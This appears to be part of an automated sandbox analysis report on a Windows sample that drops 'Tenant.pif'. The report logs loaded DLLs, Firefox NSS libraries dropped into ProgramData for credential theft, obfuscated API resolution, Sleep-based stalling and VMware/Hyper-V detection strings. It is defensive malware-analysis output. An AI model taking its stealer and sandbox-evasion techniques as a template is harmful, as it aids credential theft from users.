Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: freebl3.pdb source: Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source: Binary string: mozglue.pdbP source: Tenant.pif, 0000000B.00000002.4097408823.000000006C69D000.00000002.00000001.01000000.00000009.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source: Binary string: freebl3.pdbp source: Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source: Binary string: nss3.pdb@ source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr
Source: Binary string: softokn3.pdb@ source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: Tenant.pif, 0000000B.00000002.4090409721.000000002B265000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: Tenant.pif, 0000000B.00000002.4085470552.000000001F389000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.11.dr
Source: Binary string: nss3.pdb source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: Tenant.pif, 0000000B.00000002.4097408823.000000006C69D000.00000002.00000001.01000000.00000009.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source: Binary string: softokn3.pdb source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress, 0_2_004062FC
PE file contains sections with non-standard names
Source: nss3.dll.11.dr Static PE information: section name: .00cfg
Source: freebl3.dll.11.dr Static PE information: section name: .00cfg
Source: mozglue.dll.11.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.11.dr Static PE information: section name: .didat
Source: softokn3.dll.11.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC8B75 push ecx; ret 11_2_00AC8B88

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Jump to dropped file
Drops PE files
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\ProgramData\softokn3.dll Jump to dropped file
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B259B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 11_2_00B259B3
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AB5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 11_2_00AB5EDA
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 11_2_00AC33B7
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found stalling execution ending in API Sleep call
Source: C:\Users\user\Desktop\file.exe Stalling execution: Execution stalls by calling Sleep
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif API coverage: 4.3 %
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004062D5 FindFirstFileW,FindClose, 0_2_004062D5
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00402E18 FindFirstFileW, 0_2_00402E18
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B04005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 11_2_00B04005
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 11_2_00B0C2FF
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0494A GetFileAttributesW,FindFirstFileW,FindClose, 11_2_00B0494A
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 11_2_00B0CD9F
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0CD14 FindFirstFileW,FindClose, 11_2_00B0CD14
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 11_2_00B0F5D8
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 11_2_00B0F735
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 11_2_00B0FA36
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B03CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 11_2_00B03CE2
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AB5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 11_2_00AB5D13
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\271973\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\271973 Jump to behavior
Source: Amcache.hve.17.dr Binary or memory string: VMware
Source: DHCBGD.11.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Tenant.pif, 0000000B.00000002.4074307202.00000000016D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: crosoft.com/profileVMwarep
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: DHCBGD.11.dr Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.17.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: DHCBGD.11.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.17.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2008656133.0000000000577000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf
Source: Amcache.hve.17.dr Binary or memory string: vmci.sys
Source: DHCBGD.11.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: Tenant.pif, 0000000B.00000002.4074307202.00000000016D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 7MEDIAF~1abank.inMediaFoundationWidevineCdmVMwarexi5
Source: DHCBGD.11.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DHCBGD.11.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DHCBGD.11.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.17.dr Binary or memory string: VMware20,1
Source: Amcache.hve.17.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Tenant.pif, 0000000B.00000002.4072894428.000000000140E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.17.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Tenant.pif, 0000000B.00000002.4074307202.00000000016D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMwarex
Source: file.exe, 00000000.00000003.2006125019.0000000000577000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: Amcache.hve.17.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.17.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.17.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.17.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.17.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: DHCBGD.11.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: DHCBGD.11.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.17.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Tenant.pif, 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
